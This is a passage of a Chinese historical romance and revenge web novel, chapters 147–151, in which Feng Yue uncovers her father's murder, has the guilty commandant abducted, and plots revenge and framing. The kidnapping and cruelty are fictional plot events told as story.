禁卫皱眉,看风月还戴着面巾,鬼鬼祟祟的,上前便要来细查。
“做什么!”封明追上来了,一把抓着那禁卫的手,脸色当真是沉了:“南平公主的客人,你们也敢冒犯?”
被他吓了一跳,禁卫连忙跪下:“封将军,卑职们行分内之事罢了,这人……”
“我管你们分内不分内呢。”封明不悦地道:“人是公主让我护着的,你们动她就是动我,真要动,那不如打一架,打过我了就让你们扯面巾!”
额头上冷汗都下来了,禁卫们相互看看,陷入了沉默,最后乖乖地让开了路。
风月看得想笑,封明这种不守规矩的人,有时候让人头疼,有时候也挺爽快的,用拳头打碎所有条条框框,不服再起来打一架就好了。潇洒恣意,随性不羁。
多像以前的自己啊。
看他看得有点顺眼,风月继续往前走的时候便道:“你上回不是说想要件衣裳吗?衣裳做不了,给你绣一方手帕吧,正好你爱流汗,绣个治流汗的山怪图样,如何?”
封明毫不犹豫地点头:“行,没衣裳帕子也可以,我会好生收着的。”
风月点头,想着那就顺便上街去买方没绣过的帕子和针线回去。
在北宣门等了一会儿,殷戈止和南平便出来了。南平换了身常服,蹦蹦跳跳的,看样子心情极好,仪态都不要了,跑过来就拉着风月的手,眼睛亮亮地道:“父皇同意啦!本宫可以出去了!”
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“那就好。”风月笑着颔首,看了一眼后头走着的风度翩翩的殷大王爷,也没打算等他,拉着南平公主就出了宫门。
然而,马车会等他,殷戈止慢悠悠地上车,看了看和南平坐在一起的风月,眯了眯眼,带着点嫌弃的神色同封明坐了一方。
“咱们先去哪儿呢?”南平兴奋不已地道:“我想看吐火,想赶集,想看看百姓们平时都怎么过日子的!”
殷戈止点头,镇定地道:“先看你说的吐火吧,正好也在集市上,四周都是百姓,你可以看个够。”
从小在宫里长大的公主,完全不谙世事,只在自己父皇和宫人的口中听说过魏国是怎般富饶祥和,现在终于有机会亲眼一观,她自然是抱着很大的期待的。
然而,外头的街道跟她想象中的完全不一样。
“这些人……怎么都穿得破破烂烂的?”掀开车帘看着外头,南平不解地道:“衣裳破了,怎么不换件好的?”
风月跟着看了一眼,道:“是战乱里流窜的难民,如今边境多战火,百姓就定然会往其他地方涌。不是他们不想换衣裳,是没银子买好衣裳。”
惊讶地张大嘴,南平看向自家皇兄:“父皇不是说,百姓安居乐业吗?那难民不算百姓?”
殷戈止眼神复杂,盯着南平想了一会儿,才闭眼道:“难民自然也是百姓,父皇的说辞是否可信,你不如亲眼看看。”
咬了咬唇,南平继续看向外头。街边蹲着躺着的人不少,脏兮兮的,隐隐还有难闻的气味儿。前头热闹的地方,有衙差站着,专门拦着这些人,不让他们过去。
“那边是市集。”殷戈止道:“你想看热闹,咱们就上旁边的茶楼。”
“……好。”
刚刚出宫的高昂兴致少了一半,南平抿唇,到了地方跟着他们下车上楼,然后趴在窗台上往外看。
市集上的确有会吐火的人,她都看呆了,旁边不少百姓围观叫好,可他们旁边平放着的铜锣里,却没几个铜板。
“那些人都叫好,为什么不多给点银子?”好奇地回头看着自家皇兄,南平问:“光这点,吐火的人都吃不饱的。”
伸手拿了碎银出来,殷戈止递给她:“那你下去给吧。”
眼睛一亮,南平立马接了银子往下跑,旁边的护卫连忙跟上,风月瞧着下头人多,南平又天真单纯,有点不放心,干脆也跟了下去,就留两个大男人在上头喝茶。
挤开人群,南平小心翼翼地把碎银放在铜锣里,看收钱的人震惊的眼神,由衷地夸赞了一句:“你们真厉害!”
蹲在铜锣旁边的是个头发花白的老婆婆,一听她这话,眼里竟然涌出了泪,跪下就朝她磕了个头:“多谢客官!”
“使不得!”南平吓得直往风月背后躲,瞪大眼指着那老婆婆看着她道:“她那么大岁数了,怎么能跪我呢?”
风月失笑,心里倒觉得这公主可爱,连忙帮她过去将那老婆婆扶起来。
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第148章 柴未明
哪知,那老婆婆一抬头,倒是让风月看傻了眼。
“柴老夫人?!”
浑浊的眼睛一对上风月的眼,柴老夫人半晌没回过神,毕竟面前这姑娘还带着面巾,眼睛瞧着熟悉,可一时半会当真想不起来是谁。
风月没等她反应过来,深吸一口气,捏着她的手问:“旁边有茶楼,老夫人可愿上去坐坐?”
几个还在吐火上刀山的人都傻了眼,四周的人也都往这边看了过来。南平瞧着,觉得有些不自在,于是轻声细语地道:“我很喜欢看你们这些表演,旁边茶楼上有酒席,各位不如歇歇,我请你们吃好吃的。”
赞赏地看了一眼这机灵的公主,风月顺势就带着柴老夫人往茶楼上走。
一到楼上瞧见坐着的殷戈止和封明,柴老夫**吃一惊,连忙跪下:“大皇子!封大世子!”
南平吓了一跳,皇兄和封明的衣裳虽然有点打眼,可她区区百姓,怎么一上来就知道谁是谁的?这朝中的皇子和将军可不少啊!
护卫清了场,二楼上没什么人,殷戈止也就大方地看着她,但端详片刻,愣是没想起来这人是谁。
封明一拍脑门,倒是脱口而出:“柴老夫人!”
柴未明柴副将的母亲柴老夫人,当时关苍海还在的时候,是时常在关府和宫里走动的,虽不算关家九族之人,却也与关家颇为亲近,关家灭门之后,柴未明受到牵连贬了官,成了看守天牢的狱卒,他也就鲜少见到此人了。
没想到再见会是这种情况。
殷戈止对柴未明的印象不是很深,所以也只有礼地颔首,让观止把人扶起来让她坐下。
南平乖巧地坐在风月旁边,眼里有疑惑,也没急着问,就安静地等着。
柴老夫人激动得浑身发抖,脸上老泪纵横:“得知二位已回澧都,老身一直在想法子联络二位!可惜孝亲王府和镇国侯府都守卫森严,老身靠近不得呀!”
顾忌着南平在场,风月没敢扯面巾也没敢吭声,就听得封明道:“柴家虽然没落,可未明毕竟还在天牢任职,老夫人何至于流落街头?”
一提起柴未明,柴老夫人又跪了下去,一边流泪一边磕头:“未明半年前便被奸人所害,死于非命!老身在澧都无甚亲故,以前来往的人,也都因着柴家获罪而再难联系,未明死得冤那!老身求二位,替未明做主啊!”
柴未明**?!风月皱眉,闭了闭眼。
那也是曾跟过关苍海的人,因着有老母亲要照顾,她当初未曾写信给他,可那人是耿直忠良的性子,好端端的,怎么会死呢?
殷戈止起身,想扶她起来,奈何柴老夫人执意跪着,还连连磕头,声嘶力竭的,听得人心里悲戚。
封明起身,二话不说直接将柴老夫人那瘦骨嶙峋的身子给抱了起来,往椅子上一放,皱眉道:“先别哭,把话说清楚,柴未明是**的?”
柴老夫人被他这动作惊了一跳,倒也当真冷静了下来,接过南平递来的帕子,抹了把脸,哑声道:“三年多以前,关家满门没了之后,未明被贬作狱卒,受尽欺辱。因着我这老不死的身子不好,经不起奔波,他放心不下,就忍气吞声地继续在澧都过活。”
“他功夫好,也踏实,在天牢里还结交了不少兄弟。我本来想着,这么过一辈子也是好事,毕竟高处不胜寒。可没想到,两年多过去了,有一天晚上他回来,激动地跟我说,关将军是冤枉的,他不是畏罪自尽,而是被灌了毒!”
此话一出,在场的人皆色变,风月捏紧了拳头,闭着眼努力压着自己,以防当着南平公主的面朝人扑过去。
目光扫了四周一眼,柴老夫人愤怒地道:“老身当时糊涂啊,觉得关将军已经**,旧案重提未免招来祸事,就让他瞒着别说!谁曾想那是几个狱卒喝醉时候说出来的秘密,酒一醒,就有个狱卒将此事禀告了上去。没过两天,未明就被人抬了回来……他们说他是喝多了酒摔死在水沟里的,可他浑身是伤,哪里是摔的……分明是被人打死的!”
“大半年了,老身逢人就说此事,只想求达天听,给未明讨个公道,不曾想谁都不信我……我手里没证据……谁也不相信我说的……未明…未明死得冤枉啊!草草下葬,天牢一个说法也不肯给,还将老身赶出澧都……要不是遇见那几个卖艺的好心人,肯带着老身给口饭吃,老身怕是等不到今日了!”
封明听得脸色铁青,一拍桌子就站起来道:“我去找人来问!”
语音落,直接从二楼的窗户跳了下去。
外头响起一片惊呼,南平连忙跑过去看,却见那抹潇洒的影子平稳落地,上马就朝天牢的方向跑了。
柴老夫人看得泪中带笑,擦着眼睛道:“封世子怎么还这般冲动,说风就是雨的?”
“不用管他,他吃不了亏。”殷戈止抿唇,认真地看着她道:“关于关将军在天牢里被毒害的事情,柴未明只说了这么多吗?”
微微一愣,柴老夫人想了想,道:“不止,他还说什么上头的吩咐,什么背后的黑手之类的……”
这个话就不太好在大庭广众之下说了,柴老夫人有点顾忌,眼睛瞟了瞟四周的护卫。
殷戈止侧头,看着南平道:“你带这些人去楼下的饰物铺子看看,喜欢什么,皇兄给你买。”
南平不傻,知道有些话自己不能听,于是乖巧地应了就带着人下楼。可走着走着,她突然有点好奇。
她都不能听的事情,那风月为什么可以?
二楼上只剩了三个人,殷戈止道:“老夫人现在可以说了。”
柴老夫人一愣,正想说这儿还有个蒙着面的呢,结果就见这人把面巾给扯了,双眼微红地笑着道:“老夫人,我也很想听。”
关清越!柴老夫**惊,一口气差点没缓上来,捂着心口震撼不已。
“你……还活着?”
“嗯。”风月微笑,坐着等她缓过神来,才道:“别的话先不说,老夫人,我爹是死在谁手里的,您可一定要告诉我。”
本以为真相只能靠猜,谁知道还有知
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情人在。
柴老夫人激动地点头,哽咽难成声,捏着她的手抖了好一会儿,才哑声道:“未明说,他待的那一个队的狱卒恰好是当年看守死牢的,其中有两个人亲眼看着关将军咽气……本来上头明命不许说出去,他们也瞒了两年了,结果一时放松,喝了酒,便将秘密吐了出来——关将军不是自尽,是石廷尉用**,硬生生毒死的,之后拿着他的手沾了红泥盖了认罪状……才有‘畏罪自尽’这一说。他觉得背后有人要害将军,可关家满门都没了,咱们自身难保,所以……”
说到这儿,柴老夫人就万分后悔:“该早知道此事关系重大,我不该放他回去继续看大牢的……未明啊……”
风月垂眸,表情很平静,平静得殷戈止都看不出来她在想什么。
“柴副将的死,我会尽量还他个公道。”再度睁眼,风月看着柴老夫人道:“至于今日说的话,老夫人也莫要在别处说了,保重为好。”
柴老夫人陡然来了精神,眼神灼灼地看着她:“你要给关将军翻案吗?”
“我没那个本事。”风月道:“不过我可以给他报仇。”
“我是不会帮你的。”殷戈止淡淡地道:“但知道的消息可以告诉你一声——这个月十五,石家有祭祖大典,石有信也是石家的人,只要还有一口气,都会出门的。”
“好。”风月笑了,侧头看着他道:“多谢王爷相助,那柴老夫人该如何安置就交给您了,奴家还有事,等会南平公主回来,您替奴家告个罪吧。”
殷戈止皱眉,还没来得及反对,就见风月一溜烟跑下了楼。
真会给他找麻烦啊。
抿了抿唇,他还是看着柴老夫人道:“您随我回王府吧。”
封明去了天牢,很是直接地逮了个人回来,茶楼没人了,他便转头去大杂院。
风月正在看地图,石家祭祖既然会在石家地位最高的石鸿唯府上举行,丞相府守卫也森严,但比廷尉府竟然要好些,大概是石鸿唯问心无愧,胆子更大的缘故。
“月儿!”
正想着呢,封明就将个人摔在了她的院子里:“人来了,你想问啥都可以问。”
目瞪口呆地看了看那鼻青脸肿还穿着天牢狱卒衣服的人,风月很是头疼:“您竟然直接把人绑来了?”
“不然呢?”封明道:“我问清楚了,他当初就是跟柴未明在一起做事。”
地上的人哆哆嗦嗦的,看起来恐惧极了,摆明是已经被暴打了一顿,现在格外老实。
哭笑不得地蹲在他面前,风月笑着问了一句:“柴未明是死在谁手里的啊?”
狱卒身子一僵,连忙摇头:“柴未明不是摔死的那个人吗?是摔死的!”
风月抬头看了一眼封明,后者会意,一脚就踩在了狱卒胸口:“你信不信你马上也会不小心‘摔死’?”
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第149章 抓狗计划
凶的怕狠的,狠的怕要人命的。狱卒只觉得胸口一痛,眼前一花,连忙道:“将军饶命!卑职……卑职突然想起来了,那柴未明……好像不是摔死的。”
“哦?”微微俯下身子,封明眯眼:“那是**的?”
眼珠子乱转,狱卒有点心虚:“将军,小的也想说实话,可小的还要在人手底下讨生活,话可以说给您听,您不能拉小的当证人,也不要说是小的说的,不然,小的回去也活不了啊!”
封明看向风月,后者点头:“可以。”
“你说吧。”收回脚,封明抱着胳膊看着他,大有“你敢撒谎老子一巴掌劈死你”的意味。
狱卒捂着心口撑起身子,小心翼翼地道:“柴未明是**的,其实我们这个队的人都清楚,他是知道了不该知道的事情,被上头灭的口。咱们牢头本来想护他一二的,毕竟他那个人不错,忠厚老实又不偷懒,可惜没保下来。”
狱卒的上头是牢头,牢头的上头,自然就是廷尉了。
风月眯眼:“天牢里既然那么多人证,他也不怕你们谁去告他一状,让他**偿命吗?”
一听这话,狱卒失笑:“姑娘说得轻巧,这状有那么好告吗?自古民不与官斗,下不与上斗,他们手里握着的就是审判大权,你去告他们,会是什么下场?告不成不说,反而引火烧身,稍微有点脑子的,都不会这么干。”
这就是柴未明**半年多了,也没个交代的原因。
点点头,风月笑道:“果然还是不能走正道解决这事儿,封将军,劳烦您将人送回去吧,什么都不用说。”
封明挑眉:“这样就完了?”
不问关将军的事情?
“够了。”风月颔首:“想知道的都已经问了,其余的,是不用问的。”
“好。”封明应了,把人捆起来扔出去给了随从,回来的时候就看见风月面色平静,一身佛气慈悲地在写着什么东西。
佛经吗?他好奇地凑过去看,却见桌上放着的是张地图,风月拿着朱砂笔,在地图上点着红色的点儿。
“这是什么?”
“丞相府的地图。”毫不避讳地指给他看,风月笑眯眯地道:“这儿是他们举行祭祖大典的地方,四周有四条出去的路,这边的红点是他们的守卫布置。”
目瞪口呆地看着,封明皱眉:“你怎么知道得这么详尽?”
按理来说,官邸的地图都该是保密的。
“澧都最近新起了一座梦回楼,将军不知道吗?”笑得眼角弯弯,风月道:“里头的姑娘风情万种,琴棋书画样样精通,惹得澧都贵胄们纷纷追捧呢。”
有这回事?封明皱眉,一看面前这人的表情,恍然道:“难不成有丞相府的人去过了,梦回楼将消息卖给了你?”
“……可以这么说吧。”
封明愕然,拍了拍手:“还是娘子军厉害,我早跟我爹说不能小瞧女人,他偏不信!哎,那楼里有镇国侯府的地图吗?我去买一份儿吓唬老头子去!”
……当梦回楼是菜市场吗?风月捂脸:“您别胡来,有那精力,不如帮我个忙?事成了,我请你吃饭。”
“好,什么忙?”
“帮咱们把石有信绑了,带出城门。”指了指丞相府地图上的正门位置,风月严肃了神色:“此处有十个护卫,功夫不到家的人带着个人肯定跑不掉,只能您来。”
绑人?封明兴奋了,完全不考虑绑的是朝廷命官的问题,拍手便道:“可以,不过要是失败了怎么办?”
“我已经想好了。”微微一笑,风月看着他道:“失败了就说是您跟石廷尉开的玩笑,反正您的身份在这儿,他也不能拿您如何。但要换成别人,那就难说了。”
“好。”想也不想就点头,封明道:“我听你的,你怎么说,我便怎么做。”
感激地看着他,风月召集了其他人,又仔细将计划核对了一遍。
殷戈止一直在等,他想着下个月十五之前,风月怎么都该来找他一趟,不然就凭他们那些人,要想在石家祭祖大典上对石有信做什么,恐怕有点难。
然而,左等右等,都等到石家祭祖这一天了,没有一个人来孝亲王府传什么话。
坐不住了,殷戈止扭头问观止:“什么情况?”
观止眨眼,挠头道:“没什么情况,封将军一大早就去了大杂院,现在不知道在做什么。”
脸色一黑,殷戈止抿唇。
他怎么忘了还有封明,可就算有封明,让自个儿帮忙不是更靠谱吗?她就那么不愿意来求他?
有些烦躁,他起身,闷了好一会儿才沉声道:“去看看热闹吧。”
观止应了,套了马车就拉着他往石丞相府上而去。
石家也算个大家族,毕竟三公九卿里有两个大人物都姓石,祭祖的排场自然也大,众人一大早就纷纷驱车乘轿到了丞相府,在门口下车落轿,相互寒暄。
石有信的马车来得晚,门口的人已经进去了大半,只剩些家奴和车夫在外头候着,小声说着话。
“吁——”离大门还有一段距离,车夫看了一眼四周,勒住了马,回头朝车里道:“大人,前头轿子和车多,怕磕坏了咱们的车,您就在这儿下吧。”
石有信虽然养了半个月,但院子里总是有鬼闹腾,病是好了,精气神全没了,一听这话也没计较,顶着青黑的眼就下车。
然而,脚刚一落地,还没来得及接过旁边家奴手里的礼帽,石有信就感觉自己被人一捞,天旋地转!
“大人!”车边的护卫低喝,立马拔了刀:“贼人休走!”
这句话喊出来的时候,蒙面人已经跑出去几步了。等车边八个护卫反应想去追,车夫却一扬鞭,马车斜着一撞,撞翻了四个人,另外四个人要追上去,却被后头过来的轿子和马车挡了路。
“来人啊!石大人被人掳走了!”护卫急喝,丞相府门口的守卫听见了,纷纷追下台阶,却被堵在门口闲聊的车夫和家奴们拖延了一阵,等越过人群,就只能看见那贼人的衣角往街头左边拐了。
“追!”<
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封明一边跑一边觉得,幸好是这个瘦弱不堪的石有信啊,要是换成先前的赵旭,那他一定扛不动!
身后有守卫追来的声音,封明咬牙,按照风月的计划,一头跑进雪月街。
“哎,今儿咱们梦回楼庆典,里头姑娘们备着精彩的表演等着各位爷呀,各位里头请!”
雪月街上有新起的梦回楼,金妈妈扯着那一如既往的大嗓门,带着一群姑娘在楼前揽客。光天化日做的生意,那可算是拿得上台面的,一时雪月街也就拥堵不堪。
封明疑惑地往人群里冲,本以为会跑得艰难,谁知道那些个姑娘竟然自动给他让路,等他过去了,便又将路堵上。
雪月街的街尾拐角处停着一辆运水车,封明二话不说,打晕石有信就塞进了车上空空的木桶里。按照计划,他的任务到此结束,扯了面巾和外袍一并塞进水桶,看着那车往城门拉去,便穿着青色绣麟的锦衣,施施然往回走。
丞相府追出来的护卫还被那群姑娘堵着,有人想呵斥,就被温香软玉撞了满怀,姑娘们秋波横扫,媚声道:“小哥儿真凶啊,吓坏奴家了!”
“就是啊,咱们这儿准备庆典呢,这么凶,是要砸场子吗?”
“不如也进去喝两杯啊,咱们这儿有美人酿,比美人还醉人呢。”
好一阵纠缠,看得封明目瞪口呆。等守卫们终于冲出包围,早已经没了贼人的影子。
运水车出城,廉恒看了一眼,亲自检查,然后不动声色地放了出去。
看着那车吱呀吱呀往照影山拉,廉恒叹息,面朝城墙壁,反思自己。
这是他第一回不尽职责,徇私枉法,可是为什么心里还有点爽快呢?
风月在照影山下的一户农家里等着,等东西运来,便笑嘻嘻地让人抬进了准备已久的铁笼子。
“这玩意儿可真难抓!”罗昊抹了把汗:“幸好准备周全,不然封将军都不一定能跑掉。”
“难抓咱们也抓到了。”蹲在笼子前头,风月舀了一瓢凉水,眯眼看了那昏迷不醒的石有信一会儿,猛地将水泼了过去!
“啊!”石有信惊醒,惊恐地看了看四周,半晌才问:“这是哪儿?”
“十八层地狱。”阴测测地笑着,风月拿了蜡烛过来,将四周门窗紧闭的屋子里照亮了一小片,也将自个儿的脸照得更加恐怖。
一看她这张脸,石有信眼珠子都快瞪出来了:“关……关……”
“我还雎鸠呢,你们这些人,看见我的反应怎么都没个新意的?”翻了个白眼,风月笑道:“石大人,别来无恙啊?”
“啊——”浑身颤抖,石有信嘶吼一声,尾音都打着颤儿,伴随着一股子尿骚味儿,让屋子里的人纷纷嫌弃地退了几步。
“这就尿裤子了?”冷笑一声,风月道:“当初让人挑我手筋的时候,我瞧着您胆子挺大的啊?”
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第150章 以怨报怨
一听这话,后头的秋夫人等人顿时把正在吓唬人的风月给扯了回去,可怜风月脸上的狰狞都被扯变了形,还没把石有信吓死呢,就跟个鸡崽子似的被他们拖出去围了起来。
“少主的手筋,是他挑断的?!”
周围杀气四溢,惊得风月抱头鼠窜,赔笑道:“我这吓唬人呢,你们别激动啊!”
这叫人怎么不激动?旁边的罗昊眼睛都红了:“少主武功卓绝,驰骋沙场建功无数,却也是练了十几年才积累出来的!‘除武’这种刑,他竟然敢用在您身上,该遭雷劈!”
尹衍忠等人也气得身子发抖,但凡习武之人,谁都知道“除武”有多令人绝望,尤其是武功造诣高的,没了手筋等于一身武功尽废,提不了刀舞不了剑,十几年的心血毁于一旦!就算是个男人也承受不住啊,更何况少主……
“哎呀,都过去这么久了,咱们再气也没用啊。”干笑两声,风月道:“气坏了多不好啊,不如想想怎么让里头那人生不如死?”
“……”秋夫人满眼心疼,伸手将风月搂在怀里,像个温和的长辈,轻轻地拍了拍她的背。
本该是他们安慰她的,倒不知怎么,反而让这丫头来安慰他们别生气,真叫人哭笑不得又有种说不出来的心酸。
“好啦,我还活着就是祖上积德保佑了。”顺手也拍了拍秋夫人的背,风月道:“人已经在咱们手里了,要扣什么罪名,要怎么弄死,都得大家出主意啊,我一个人肚子里的坏水儿可没这么多!”
“去你的!”轻嗔一声,秋夫人笑骂:“拐着弯说咱们肚子里坏水多呢?”
“这是夸奖,可不是骂人。”站直身子,风月眯着眼睛看了看关着人的房间:“以德报怨,何以报德啊?”
那就以怨报怨!众人纷纷撸起了袖子,搓了搓手。
史冲语气阴森地道:“那少主先在外头歇息一会儿,咱们进去跟他聊聊天。”
“对,好生聊聊天。”冷笑了两声,尹衍忠上前就推开了门。
一群气势汹汹的人都涌了进去,只留下风月和一脸茫然的灵殊站在外头,风月目瞪口呆,灵殊吧唧吧唧吃着点心,满眼无辜。
少顷,屋子里尖叫连连!那声音凄惨得,活像被人分尸了似的!
灵殊吓得手里的糕点都掉了,扭头看向风月:“主子?”
“你进去看一眼。”风月严肃地道:“让他们务必留人性命,账还没算清呢!”
“是!”灵殊提拎着小裙子就跑了进去,没一会儿便跑了出来,瞪着眼睛道:“主子!他们说只是在跟人聊天,只是聊着聊着笼子里那人的手筋就断了!”
伸手捂了眼睛,风月失笑,一边笑一边摇头。
这群人,分明跟她没什么血缘关系,倒是当真很像一家人,看样子,压根不用她施加什么压力,他们足以将石有信吓得夜不能寐了。
心里突然有点感动。
殷戈止踏进门来的时候,就见风月笑得嘴角高扬,自个儿捂着自个儿眼睛站着,好像有点走神。
旁边的灵殊看见他了,他伸了食指压在嘴唇上,那机灵的小丫头就蹦蹦跳跳地站到了旁边去。
悄无声息地走到她面前,殷戈止低头看着这人,微微一哂,伸手将她盖着眼睛的手给拿开。
不出意料,一双眼跟小兔子似的通红。
乍一看面前这人,风月有点吃惊,眼睛眨巴眨巴的,还没来得及问他怎么来了,被他捏着的手就按在了自己的嘴上,接着殷戈止低头,毫无预兆地就隔着手掌亲了亲她。
风月:“???”
身上一阵鸡皮疙瘩,她猛地后退,在裙子上擦了擦手,满眼都是嫌弃。
刚刚还心情不错的殷王爷,瞬间就沉了脸色:“你活得不耐烦了?”
“……王爷,咱们做人要讲道理啊!”哭笑不得,风月道:“您这么突然来一下,奴家自然会受惊,身体的反应是控制不住的!”
所以,她的身体是控制不住地嫌弃他?脸色更难看,殷戈止冷笑:“亏我还帮你善后,下回还是看着你让人去送死比较好。”
啥玩意儿?风月一愣,眼瞧着人要走,连忙伸手扯了他衣摆,赔笑道:“王爷,话说完了再走不迟。”
也就是,他走不走压根没关系,还是他说的话更重要?殷戈止咬牙,简直是气不打一处来,扯回自己的衣摆就继续迈开步子。
风月再度伸手,这回直接抓了腰带,心想衣摆料子滑,腰带可好抓啊,她死不撒手,他一时半会儿也没那么容易甩掉!
然而,她这一用力,腰带的确是没被他扯回去,相反,整个带子伴随着殷戈止那华丽的白纱锦衣,一起松开了……
大风飞扬,殷戈止缓缓回头,用带着三尺寒冰的眼神,冷冷地看了风月一眼。
“嘿……嘿嘿。”咽了口唾沫,风月双手捧着那腰带,恭恭敬敬地朝着他举过头顶:“王爷息怒!今日是小吉,不宜杀生!”
殷戈止手都举起来了,听见她这话,眯了眯眼,缓缓放了下去:“替我系上。”
“好嘞!”狗腿地将这位爷风中飘扬的袍子按住,风月跟捆麻绳似的,将那腰带绕过这人的腰,狠狠一勒。
殷戈止喘了口气,低头盯着面前这人,目光突然有点炙热。
察觉到了这人身上的某些变化,风月眨眼,一副了然的模样,拍了拍他肩上不存在的灰尘,笑道:“王爷,梦回楼已经在澧都雪月街开张,您有空,也该去捧个场。”
本来还有点旖旎的想法,一听这话,瞬间觉得冷水兜头,殷戈止面无表情地拂开她,道:“我爱去哪儿便去哪儿,用不着你来说。”
“这不是您一直没去,奴家以为您不知道嘛!”掩唇一笑,眼角眉梢又露出点狐狸的媚劲儿:“楼里新来的姑娘很是不错,姿色上乘不说,也有会跳**的!”
“……”眼含讽刺地看了她一眼,殷戈止道:“你有空操心这个,不如想法子把我那儿留着的人嘴巴堵上吧。你今日绑人,雪月街街尾上瞧见封明将人塞进木桶的有三个人,现在
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都在我府上喝茶。”
微微一凛,风月连忙道:“多谢王爷!”
她倒是忘记了这点细节,万一被人捅出去,说不定还会牵连廉统领。
冷哼一声,殷戈止半点也不想领她的谢,扭头就往外走。
观止驾车,带着他回府,一路上殷戈止都在生气,也不知道自己气什么,就觉得心口堵得慌,抑郁不得解。
“客官,梦回楼今日有庆典,进来看看啊!”路过雪月街,外头突然传来金妈妈的吆喝声。
观止勒了马,看一眼那梦回楼崭新的招牌,想起上回自家主子收到的信上写的话,忍不住微微回头:“主子?”
“继续走。”殷戈止淡淡地道:“回府去。”
有点意外,观止嘟囔:“都已经到这儿了……”
“不找了。”车厢里的人语气平静地道:“不用找了。”
不用找了?观止震惊,这都三年多了,四十个多月,一直在等的消息,眼瞧着都到门口了,他竟然说不用了?
这一瞬间观止突然也有点看不懂自家主子的想法,沉默半晌,摇摇头,还是甩了缰绳,让马车缓缓从梦回楼门前走过。
风月兴高采烈地看着尹衍忠写的罪名单子,边看边念:“草菅人命、贪赃枉法、下巫术谋害圣上……等等,这个下巫术是怎么来的?”
尹衍忠一脸正气地指了指秋夫人:“她编的,说前些时候廷尉府闹鬼,石有信请了巫婆法师来驱鬼,可以栽赃成下巫术谋害圣上,毕竟当下的魏国,只有谋害圣上才是大罪,其余的都不足以令他‘畏罪**’。”
“好主意诶!”风月听得连连点头,转脸问了问旁边笼子里的石有信:“你觉得怎么样啊?”
石有信缓了两天,已经知道他们不是鬼是人了,可一听这样的话,还是吓得浑身发抖:“你们想……想做什么?”
“你别害怕啊,我们又不是什么好人。”风月微笑:“这只是想陷害你而已啊!”
“对。”罗昊在旁边附和:“陷害了你之后,再印刷多份儿你的罪证,广散四处,引起民愤。之后你就会死在这儿,咱们拿你的手给认罪状上盖个手印,你就可以含笑九泉了。”
瞳孔紧缩,石有信连连摇头:“为什么要这样?这些不是我的罪名,你们要扣罪,也得让我去受审啊!”
“你在我们手里,那罪名就是我们定,还受什么审啊?”掩唇一笑,风月侧眼看她,眼光余光阴暗:“如同当年的关苍海,在你手里不也是被你扣上罪名,压根不用审的吗?”
一股子凉意穿透背心,石有信垂着双手跪下,一边哭一边朝风月磕头:“你放过我吧,放过我吧!我忏悔,我会向关将军忏悔!”
看着他这模样,风月“咯咯”笑出了声,眼里满是感慨:“当初我奶娘也是跪在牢里这样求您的,您放过我了吗?”
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第151章 言清
幽暗的天牢牢房里,也曾有人苦苦哀求他:“石大人,求您开审,求您问罪,求您还我关家一个公道!”
然而,彼时的石有信高高在上,不屑地站在牢房外头冷哼:“关将军都已经畏罪自尽,你们还想要什么公道?罪名已定,等着死吧!”
人在事不关己的时候,总是能平静甚至有点幸灾乐祸地看待各种不平之事的,很多人心无敬畏,觉得报应是不存在的,如果当真存在,为何还有那么多坏人活得尚好?
然而,报应当真临头,他们的脸色也会格外精彩。
“那不关我的事啊!满朝文武都想让关家亡,关家不亡不行啊!”石有信抖着嘴唇,眼里满是求生的渴望:“我就算愧对关将军,可我也是逼不得已,逼不得已啊!”
好一个逼不得已!风月冷笑,扭头问四周站着坐着的众人:“你们想他死吗?”
“想!”整齐划一的声音在屋子里响起,惊得石有信傻了眼。
“您瞧,我也是逼不得已。”回头看着他,风月道:“您好生享受这最后的几日活头吧,等民情沸腾之日,就是您下黄泉去赎罪之时。”
人要是不知道自己的死期,还不会有什么畏惧,一旦知道,还逃脱不了,就像酒楼厨房的笼子里关着的鸡鸭,绝望万分又时刻充满恐惧。
石有信崩溃了,嘶吼道:“我可是堂堂廷尉,你们这些山野贼寇,都不要命了吗!一旦被人找着我,你们统统要斩首!满门抄斩!”
“不好意思,我满门也就我一个人。”站起来踹了那笼子一脚,风月眯眼道:“别说那些窝囊废找不到你,就算找到了,你也会先死在我手里!”
“啊——”怒目圆睁,石有信双手抓着那关狗的巨大笼子,死命摇晃,铁笼哐当作响,伴随着他这疯了一样的嘶吼,听得人万分舒畅。
“叫吧叫吧。”风月笑道:“等你没力气叫的时候,就要死喽~”
轻灵的声音,配着那一脸阴鸷的表情,吓得石有信叫得更凶。屋子里的人纷纷捂着耳朵出去,开始印刷他的罪状。
站在院子里,风月看了看天,觉得魏国的天**得地变得澄清了起来,一时心情大好。
贺兰长德**,赵旭也已经**,收拾完石有信,她大概就可以联系言清进宫了。
正想着呢,就听得灵殊跑进来禀告:“主子,外头来了个穿着鹤袍的仙风道骨的人,瞧模样就三十多岁,说找您。”
他们身处照影山下的农家,按理说是不会有人找来的。可一听这人的外貌描述,风月笑了:“正好有话要问他,快请言大人进来。”
言清,当年的东宫管事,她机缘巧合下结识的朋友,自关家没了之后,他就辞职离宫,说是要回老家,然而分明一直留在澧都,替她办事。
“言大人。”看着施施然走进来的道士模样的人,风月笑着问了一句:“宫里的事情准备妥当了么?”
言清本是听闻石有信抓着了,过来凑个热闹,谁知道一来就听见这么一句话,脸当即就垮了,头上的道士帽子都歪了下来:“你这么着急做什么?魏文帝自**之后身子一直不好,兴许不用你犯险,他自己就……”
眉梢微挑,风月笑道:“他自己死,那我就活不安生了。”
“……”怅叹一口气,言清摇头:“这么多年过去了,你心里的执念不但没少,反而更深。看来陪在你身边的人,并未好生劝导。”
翻了个白眼,风月都没管老朋友久别重逢的喜悦,上去就拎着这人的衣裳,眯眼道:“劝导我什么?劝导我放下屠刀立地成佛?我呸!你每次来都得说这些大道理,有什么意思?不照样帮着我报仇?”
被她拽在手里,言清瞬间不要那仙风道骨了,眉毛垂下来,好声好气地道:“我就说个场面话,你冷静点,冷静点!这么多年不见了,就不能先坐下来喝个茶?”
“没茶!”风月皱了皱鼻子:“先说事情办好了没有,我还指望着你把我弄进宫呢!”
说起这事,言清就不免想起了三年前的某些事情,当即严肃了神色,低声问:“您要是当真弑君,那该如何面对孝亲王?”
面对殷戈止?风月挑眉:“我为何要面对他?”
事成之后,她多半是活不成的,根本不用考虑这种问题。
诧异地看她一眼,言清小声道:“您与他好歹私定了终身呢,向来只听说男人始乱终弃,还没见过女子满不在意的……”
更何况,三年前的关清越与别的进东宫的姑娘可不一样,她压根就不想当殷戈止的侧妃,是当真喜欢他。
